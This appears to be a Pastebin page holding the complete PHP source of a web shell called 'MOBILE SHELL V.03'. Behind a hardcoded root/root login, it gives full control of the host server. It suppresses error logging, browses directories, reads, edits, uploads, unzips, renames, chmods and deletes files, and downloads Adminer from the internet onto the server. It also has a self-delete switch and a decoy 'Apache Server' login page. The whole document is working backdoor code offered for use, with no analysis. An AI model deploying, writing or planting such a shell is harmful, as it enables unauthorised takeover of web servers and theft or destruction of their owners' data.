Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- set_time_limit(0);
- @ini_set('error_log', NULL);
- @ini_set('log_errors', 0);
- @ini_set('max_execution_time', 0);
- @ini_set('output_buffering', 0);
- @ini_set('display_errors', 0);
- $user = "root";
- $pass = "root";
- function curl($url) {
- $curl = curl_init($url);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
- //curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
- $content = curl_exec($curl);
- curl_close($curl);
- return $content;
- }
- @session_start();
- $x_us = md5($user);
- $x_pa = md5($pass);
- $username = $x_us;
- $password = $x_pa;
- if (isset($_POST['user'])) {
- if (md5($_POST['user']) == $username && md5($_POST['pass']) == $password) {
- $_SESSION['loginh'] = "1";
- }
- }
- if (isset($_GET['logout'])) {
- @session_destroy();
- echo '<meta http-equiv="Refresh" content="0; URL=' . $_SERVER['PHP_SELF'] . '"/>';
- }
- if (isset($_GET['kill'])) {
- unlink(__FILE__);
- header('location:/');
- }
- if ($_SESSION['loginh'] == 1) {
- if (isset($_GET['info'])) {
- die(phpinfo());
- }
- if (isset($_POST['sessionew'])) {
- @session_start();
- if ($_SESSION[$_POST['sessionew']] = $_POST['valor']) {
- echo "<script>alert('Session created');</
- script>";
- }
- else {
- echo "<script>alert('Error');</script>";
- }
- }
- error_reporting(E_ALL ^ E_NOTICE);
- error_reporting(E_ALL);
- @error_reporting(0);
- @ini_set('error_log', NULL);
- @ini_set('log_errors', 0);
- @ini_set('max_execution_time', 0);
- @ini_set('output_buffering', 0);
- @ini_set('display_errors', 0);
- @set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @define('VERSION', '2.1');
- $x_access_code = "http://scriptcode.xtgem.com";
- $x_access_data = "http://xero.esy.es";
- $x_css = "<style>.jembut { padding:5px;border-radius:0px;border:1px solid #ddd;margin:auto;}.w2 {
- padding:5px;border:1px solid #ddd;margin-top:2px;text-align:center;width:100%;font-
- weight:bold;margin:auto;}.brudul {border:px solid#303030;background:#222;color:#FFF;font-
- weight:bold;}.but {border:1px solid#ddd;background:#222;
- color:#FFF;font-weight:bold;margin:px; padding:5px}.brudul2 {
- border:1px solid#ddd; color:#222; font-weight:bold; padding:5px;}.dan {
- padding:3px;border:1px solid red;color:red;
- }.suc { padding:3px;border:1px solid green;
- color:green;}th { background:#222;color:#FFF;padding:5px; }</style>";
- echo '<!DOCTYPE html>
- <html lang="en">
- <head>
- <title>MOBILE SHELL V.03</title>
- <meta charset="utf-8"><link rel="shortcut icon" href="' . $x_access_code . '/ico/favicon.ico"/>
- <meta name="viewport" content="width=device-width, initial-scale=1">
- <link rel="stylesheet" href="' . $x_access_code . '/css/custom.css">
- <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
- ' . $x_css . '
- <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
- <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
- </head>
- <body>
- <div class="container main" role="main">
- <div class="w2 brudul" style="margin-bottom:2px">MOBILE SHELL V.03</div>';
- $host = 'http://' . $_SERVER['HTTP_HOST'];
- echo '<div class="content" style="font-weight:bold"><div class="btn-group btn-group-justified">
- <a href="' . $_SERVER['PHP_SELF'] . '" class="btn btn-default" style="background:#222; border-
- bottom:0px solid red; border-left:0px;border-right:0px;border-top:0px;color:#FFF;font-
- weight:bold">HOME</a>
- <a href="' . $_SERVER['PHP_SELF'] . '?zone" class="btn btn-default"
- style="background:#222; border-bottom:0px solid red; border-left:1px solid #333;border-
- right:0px;border-top:0px;color:#FFF;font-weight:bold">MENU</a>
- <a href="?logout" class="btn btn-default" style="background:#222; border-bottom:0px
- solid #222; border-left:1px solid #333;border-right:1px solid #333;border-top:0px;color:#FFF;font-
- weight:bold"><font color="red"><b>LOGOUT</b></font></a>
- <a href="?kill" class="btn btn-default" style="background:#222; border-bottom:0px
- solid #222; border-left:1px solid #333;border-right:1px solid #333;border-top:0px;color:#FFF;font-
- weight:bold"><font color="silver"><b>KILL</b></font></a></div>
- <div class="brudul2" style="margin-top:2px;margin-bottom:2px;text-align:center;background:#fff">PWD
- :';
- if (isset($_GET['path'])) {
- $path = $_GET['path'];
- }
- else {
- $path = getcwd();
- }
- $path = str_replace('\\', '/', $path);
- $paths = explode('/', $path);
- foreach($paths as $id => $pat) {
- if ($pat == '' && $id == 0) {
- $a = true;
- echo '/';
- continue;
- }
- if ($pat == '') continue;
- echo '<a href="?path=';
- for ($i = 0; $i <= $id; $i++) {
- echo "$paths[$i]";
- if ($i != $id) echo "/";
- }
- echo '">' . $pat . '</a>/';
- }
- echo '</div>';
- if (isset($_POST['x'])) {
- $rse = $_POST['file_name'];
- $zip = new ZipArchive;
- if ($zip->open($path . '/' . $rse) === TRUE) {
- $zip->extractTo($path);
- $zip->close();
- echo '<script> alert("Extract File Success !!")</script>';
- }
- else {
- echo '<script> alert("Extract File Failed !!")</script>';
- }
- }
- echo '<table width="100%"><tr><td width="80%"><form method="POST" action=""><select name="file_name"
- class="brudul2" style="width:80%"><option>-- select --</option>';
- $scandir = scandir($path);
- foreach($scandir as $file) {
- if (!is_file("$path/$file")) continue;
- echo '<option>' . $file . '</option>';
- }
- echo '</select></td>
- <td align="right">
- <input type="submit" value="EXTRACT" class="but" name="x"
- style=""></center></form></td></tr></table>';
- if (isset($_GET['zone'])) {
- if ($_POST['menu'] == "adminerphp") {
- $rz = 'https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php';
- $fp = fopen("adminer.php", "w");
- $x = curl($rz);
- fwrite($fp, $x);
- fclose($fp);
- echo '<meta http-equiv="Refresh" content="0; URL=adminer.php">';
- }
- echo '<hr><form action="' . $_SERVER['PHP_SELF'] . '?zone" method="post"><table width="100%"><tr><td
- width="80%"><select name="menu" class="brudul2" style="width:80%">
- <option>-- select --</option>
- <option value="adminerphp">MySQL</option>
- </select></td>
- <td align="right">
- <input type="submit" value="CREATE" class="but" style=""></center></form></td></tr></table>';
- }
- echo '<hr>';
- if (isset($_FILES['file'])) {
- if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
- echo '<div class="alert alert-success"><center>Upload Success ^_^ </center></div>';
- }
- else {
- echo '<div class="alert alert-danger"><center>Upload Failed !!</center></div>';
- }
- }
- echo '<center><form enctype="multipart/form-data" method="POST"><input type="file" class="brudul2"
- name="file" style="width:100%"><input type="submit" class="but" style="width:100%;margin-top:3px"
- value="↑↑"></form></center>';
- if (isset($_GET['filesrc'])) {
- echo "<br /><tr><td>Current File : ";
- echo '<br /><div class="brudul2" style="margin-top:px;margin-bottom:2px;text-align:center;border:2px
- solid #279ddd">';
- echo $_GET['filesrc'];
- echo '</div>';
- echo '</tr></td></table><br />';
- echo ('<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>');
- }
- elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
- echo '</table><br /><center><div class="brudul2" style="margin-top:px;margin-bottom:px;text-
- align:center;border:2px solid #279ddd"><tt>' . $_POST['path'] . '</tt></div><br /><br />';
- if ($_POST['opt'] == 'chmod') {
- if (isset($_POST['perm'])) {
- if (chmod($_POST['path'], $_POST['perm'])) {
- echo '<div class="alert alert-success">Change Permission Done</div>';
- }
- else {
- echo '<div class="alert alert-danger"> Change Permission Error</div>';
- }
- }
- echo '<form method="POST">
- Permission : <input name="perm" type="text" class="brudul2" size="4" value="' . substr(sprintf('%o',
- fileperms($_POST['path'])) , -4) . '" />
- <input type="hidden" name="path" value="' . $_POST['path'] . '">
- <input type="hidden" name="opt" value="chmod">
- <input type="submit" class="but" value="Go" />
- </form>';
- }
- else if ($_POST['opt'] == 'rename') {
- if (isset($_POST['newname'])) {
- if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
- echo '<div class="alert alert-success"> Change Name Done</div>';
- }
- else {
- echo '<div class="alert alert-danger">Change Name Error </div>';
- }
- $_POST['name'] = $_POST['newname'];
- }
- echo '<form method="POST">
- New Name : <input name="newname" type="text" class="brudul2" size="20" value="' . $_POST['name'] . '"
- />
- <input type="hidden" name="path" value="' . $_POST['path'] . '">
- <input type="hidden" name="opt" value="rename">
- <input type="submit" class="but" value="Go" />
- </form>';
- }
- else if ($_POST['opt'] == 'edit') {
- if (isset($_POST['src'])) {
- $fp = fopen($_POST['path'], 'w');
- if (fwrite($fp, $_POST['src'])) {
- echo '<div class="alert alert-success">Edit File Done !</div>';
- }
- else {
- echo '<div class="alert alert-danger">Edit File Error ! </div>';
- }
- fclose($fp);
- }
- echo '<form method="POST">
- <textarea class="form-control brudul2"
- rows="20" name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea>
- <input type="hidden" name="path" value="' . $_POST['path'] . '">
- <input type="hidden" name="opt" value="edit">
- <input type="submit" class="but" value="Save !" style="margin-top:3px"/>
- </form>';
- }
- echo '</center>';
- }
- else {
- echo '</table><br /><center>';
- if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
- if ($_POST['type'] == 'dir') {
- if (rmdir($_POST['path'])) {
- echo '<div class="alert alert-success"> Delete Dir Done </div>';
- }
- else {
- echo '<div class="alert alert-danger"> Delete Dir Error </div>';
- }
- }
- elseif ($_POST['type'] == 'file') {
- if (unlink($_POST['path'])) {
- echo '<div class="alert alert-success"> Delete File Done </div>';
- }
- else {
- echo '<div class="alert alert-danger"> Delete File Error </div>';
- }
- }
- }
- echo '</center>';
- $scandir = scandir($path);
- echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="">
- <tr class="first">
- <th><center>Name </center></th>
- <th><center>Size </center></th>
- <th><center>Options </center></th>
- </tr>';
- foreach($scandir as $dir) {
- if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
- echo "<tr>
- <td><img src='data:image/png;base64, R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI
- +ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA'> <font color='#222'> <a href=\"?path=
- $path/$dir\">[ $dir ]</a></td>
- <td><center><font color='#222'>
- --</font></center></font></td>";
- echo "<td style=text-align:right><form method=\"POST\" action=\"?option&path=$path\">
- <select name=\"opt\" class=\"but\">
- <option value=\"\"></option>
- <option value=\"delete\">D</option>
- <option value=\"chmod\">C</option>
- <option value=\"rename\">R</option>
- </select>
- <input type=\"hidden\" name=\"type\" value=\"dir\">
- <input type=\"hidden\" name=\"name\" value=\"$dir\">
- <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
- <input type=\"submit\" class=\"but\" value=\">\" />
- </form></center></td>
- </tr>";
- }
- foreach($scandir as $file) {
- if (!is_file("$path/$file")) continue;
- $size = filesize("$path/$file") / 1024;
- $size = round($size, 3);
- if ($size >= 1024) {
- $size = round($size / 1024, 2) . ' MB';
- }
- else {
- $size = $size . ' KB';
- }
- echo "<tr>
- <td><img
- src='data:image/png;base64,R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSv
- CA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA'> <font color='green'> <a href=\"?filesrc=$path/
- $file&path=$path\">$file</a></td>
- <td><center><font color='#222'>" . $size . "</font></center></td></font><center>";
- echo "
- <td style=text-align:right><form method=\"POST\" action=\"?option&path=$path\">
- <select name=\"opt\" class=\"but\">
- <option value=\"\"></option>
- <option value=\"delete\">D</option>
- <option value=\"chmod\">C</option>
- <option value=\"rename\">R</option>
- <option value=\"edit\">E</option>
- </select>
- <input type=\"hidden\" name=\"type\" value=\"file\">
- <input type=\"hidden\" name=\"name\" value=\"$file\">
- <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
- <input type=\"submit\" class=\"but\" value=\">\" />
- </form></center></td>
- </tr>";
- }
- echo '</table></div>';
- }
- echo '</div>';
- echo '<div class="content" style="margin-top:2px;font-weight:bold"><center><form action=""
- method="post">
- <input type="text" class="brudul2" name="kata" value="" style="margin-right:px" size="27">
- <input type="submit" class="but" name="ndir" value="ND">
- <input type="submit" class="but" name="nfil" value="NF"></form></center></div>';
- if (isset($_POST['ndir'])) {
- $dir = $_POST['kata2'];
- $fold = $_POST['kata'];
- $cdir = $_POST['kata'];
- if (is_dir($path . '/' . $cdir)) {
- echo '<script>alert("Directory Already Exist");</script>';
- }
- else {
- if (mkdir($path . '/' . $cdir, 0777)) {
- echo '<script>alert("Directory Created ^_^");</script><meta http-equiv="Refresh" content="0;
- URL=?path=' . $path . '"/>';
- }
- else {
- echo '<script>alert("Directory Was Not Created !!");</script>';
- }
- }
- }
- if (isset($_POST['nfil'])) {
- $cfile = $_POST['kata'];
- if (file_exists($path . '/' . $cfile)) {
- echo '<script>alert("File Already Exist !!");</script>';
- }
- else {
- if (fopen($path . '/' . $cfile, "w+")) {
- echo '<script>alert("Newfile Created ^_^");</script><meta http-equiv="Refresh" content="0; URL=?
- path=' . $path . '"/>';
- }
- else {
- echo '<script>alert("Newfile Was Not Created !!");</script>';
- }
- }
- }
- echo '<div class="w2 brudul" style="margin-top:2px">CODER BY WILDAN IZZUDIN</div>';
- function perms($file)
- {
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- $info = 's';
- }
- elseif (($perms & 0xA000) == 0xA000) {
- $info = 'l';
- }
- elseif (($perms & 0x8000) == 0x8000) {
- $info = '-';
- }
- elseif (($perms & 0x6000) == 0x6000) {
- $info = 'b';
- }
- elseif (($perms & 0x4000) == 0x4000) {
- $info = 'd';
- }
- elseif (($perms & 0x2000) == 0x2000) {
- $info = 'c';
- }
- elseif (($perms & 0x1000) == 0x1000) {
- $info = 'p';
- }
- else {
- $info = 'u';
- }
- $info.= (($perms & 0x0100) ? 'r' : '-');
- $info.= (($perms & 0x0080) ? 'w' : '-');
- $info.= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
- $info.= (($perms & 0x0020) ? 'r' : '-');
- $info.= (($perms & 0x0010) ? 'w' : '-');
- $info.= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
- $info.= (($perms & 0x0004) ? 'r' : '-');
- $info.= (($perms & 0x0002) ? 'w' : '-');
- $info.= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- }
- else {
- echo '
- <title>LOGIN PANEL | MOBILE SHELL V.03</title><link rel="shortcut icon"
- href="http://scriptcode.xtgem.com/ico/favicon.ico"/>
- <meta name="viewport" content="width=
- device-width, initial-scale=1">
- <link rel="stylesheet" href="http://scriptcode.xtgem.com/css/custom.css">
- <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
- <body>
- <div class="container main" role="main" style="witdh:300px"><div class="content">
- <div class="alert alert-warning"><center>
- Apache Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</center></div>
- <form id="login" action="" method="POST">
- <div class="form-group">
- <div class="input-group">
- <div class="input-group-addon">Username</div>
- <input type="text" class="form-control" name="user">
- </div></div>
- <div class="form-group">
- <div class="input-group">
- <div class="input-group-addon">Password</div>
- <input type="password" class="form-control" name="pass">
- </div></div>
- <input type="submit" class="btn btn-warning" value="Login →">
- </form>
- </div>
- </div>
- </div>';
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement